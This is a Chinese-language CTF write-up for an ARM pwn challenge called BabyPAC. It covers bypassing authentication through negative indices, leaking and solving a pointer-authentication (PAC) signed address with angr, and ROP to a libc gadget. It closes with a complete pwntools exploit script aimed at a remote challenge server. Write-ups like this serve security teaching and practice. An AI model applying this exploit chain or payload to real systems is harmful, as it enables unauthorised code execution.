基本流程
- 通过负索引与 name 绕过认证
- 通过 name 泄漏 PAC 值,绕过 PAC 检查,劫持控制流
- ARM 架构 ROP
程序描述
这是一题 ARM 架构下的题目,因为 IDA Pro 对 ARM 架构的支持不是很好,因此使用 Ghidra 来查看程序逻辑。程序逻辑很简单:

其中 add 用于添加一个 ID 到 .bss 区域,lock 用于对这个 id 进行编码(同时会设置一个标志位,防止再次编码)。show 功能可以展示编码前的 id,对于已编码的 id 不展示。auth 功能对编码后的 id 进行检查,若其等于一个固定值,则进入漏洞函数:

漏洞函数(vuln)是一个很简单的栈缓冲区溢出漏洞:

利用
因此,利用的第一步需要绕过 auth 函数内的检查。因为 id 使用了 atoi 进行转换,因此用户只能输入 4 个字节的 ID,但是这里需要与 0x10a9fc70042 匹配,因此使用常规方法直接匹配肯定是不可能的。一开始以为是 get_id 函数的运算会有运算,即可以得到某个 4 字节的 id,经过 get_id 之后可以得到与 0x10a9fc70042 一样的值,但是用 angr 求不出这样的值。后来发现,在 auth 函数中没有检查负索引,同时 lock 函数也没有检查,因此可以通过 name 构造相应的内存,对 auth 进行绕过:

从而进入触发栈溢出漏洞。
此外,通过调试发现穿入 get_id 函数的值并不是 0x10a9fc70042:

通过阅读汇编发现一个有趣的指令:

其中 idx 就是 x0 寄存器。可以看到 x0 的值是从 x8 经过 pacia 指令得到的。pacia 指令是个什么指令?通过查阅资料发现,PAC 是一个指针认证机制,简单来说就是由于寻址空间的限制,指针的高几位通常不会使用,因此在对指针进行存储的时候使用上下文并结合指针值以及密钥计算新的值,替代原始值存放,这样在使用该指针的时候会自动对这个指针有一个校验的过程,如果这个指针被修改,则该校验无法通过。

更详细的内容可以参考:https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html
通过观察漏洞函数的汇编:

可以发现最后使用的是 retaa 指令,则表示其会对返回地址做一个校验,因此无法直接通过覆盖返回地址来劫持。
因此,为了通过栈溢出漏洞劫持控制流,需要绕过这个 PAC 机制。我们发现在 lock() 函数的 get_id 调用之前,也会使用 pacia 指令对指针编码:

由于存在负索引,我们发现之前的 name 的内存区域还有 0x10 的空间可以用于放置我们的数据,而程序没有开启 Canary 和 PIE,因此我们可以将 name 使用需要跳转的地址为内容,之后调用 lock 将该值经过 PAC 之后再经过 get_id 函数,存储在原位置,然后我们通过显示 name 可以得到 get_id 编码之后的 ID 值,然后通过 angr 求解,可以得到 PAC 之后的目标地址:
name = p64(0x400ff8) + p64(0x0)
name += p64(0x10a9fc70042) + p64(0x0)
program.sendafter("name: ", name)
add(1)
lock(0)
lock(-2) # 将 0x400ff8 通过 get_id 编码
content = show()
content = content[:8]
leak = u64(content) # 泄漏编码后的值
state.solver.add(b == leak)
jmp_addr = state.solver.eval(x)
然后使用 jmp_addr 作为跳转地址即可。

之后可以通过常规的 ROP 构造方式,可以构造 Payload 实现控制流劫持。但是这里的利用使用了一个比较偷懒的方法,通过读取 got 表来泄漏 libc 基地址时发现 libc 基地址基本不变,因此可以直接使用 0x400ff8 处的 gadget 跳到固定的 one_gadget 处地址即可。使用 one_gadget 工具查找无法找到 one_gadget,因此直接对 libc 进行搜索,找到如下:

可以发现我们可以控制 x20、x21、x23 寄存器,因此可以直接跳转,完成利用。
Exp
from pwn import *
import angr
import hashlib
# program = remote("127.0.0.1", 6666)
program = remote("52.255.184.147", 8080)
# Angr Begin
p = angr.Project('./chall')
state = p.factory.entry_state()
x = state.solver.BVS('x', 64)
y = x ^ x << 0x7
z = y ^ y >> 0xb
a = z ^ z << 0x1f
b = a ^ a >> 0xd
# Angr End
# Remote Begin
content = program.recvuntil("xxxx:").decode()
magic = None
def check():
pass
magic = check()
print(magic)
program.sendline(magic.encode())
# Remote End
name = p64(0x400ff8) + p64(0x0)
name += p64(0x10a9fc70042) + p64(0x0)
program.sendafter("name: ", name)
def add(_id):
program.sendlineafter(">> ", "1")
program.sendlineafter("identity: ", str(_id))
def lock(idx):
program.sendlineafter(">> ", "2")
program.sendlineafter("idx: ", str(idx))
def show():
program.sendlineafter(">> ", "3")
program.recvuntil("name: ")
content = program.recvuntil("\n=== BabyPAC ===", drop=True)
return content
def auth(idx):
program.sendlineafter(">> ", "4")
program.sendlineafter("idx: ", str(idx))
add(1)
lock(0)
lock(-2)
content = show()
content = content[:8]
leak = u64(content)
state.solver.add(b == leak)
jmp_addr = state.solver.eval(x)
print(hex(jmp_addr))
lock(-1)
auth(-1)
puts_got = 0x411fd0
jmp_pre = 0x400fd8
test = 0x400096bcc0
payload = b"A" * 0x28 + p64(jmp_addr)
payload += p64(0x0) + p64(0x40008dc118) # x29 x30
payload += p64(0x0) + p64(0x401030) # x19 x20
payload += p64(0x401030) + p64(0x0) # x21 x22
payload += p64(0x400095e000) + p64(0x0) # x23 x24
program.send(payload)
program.interactive()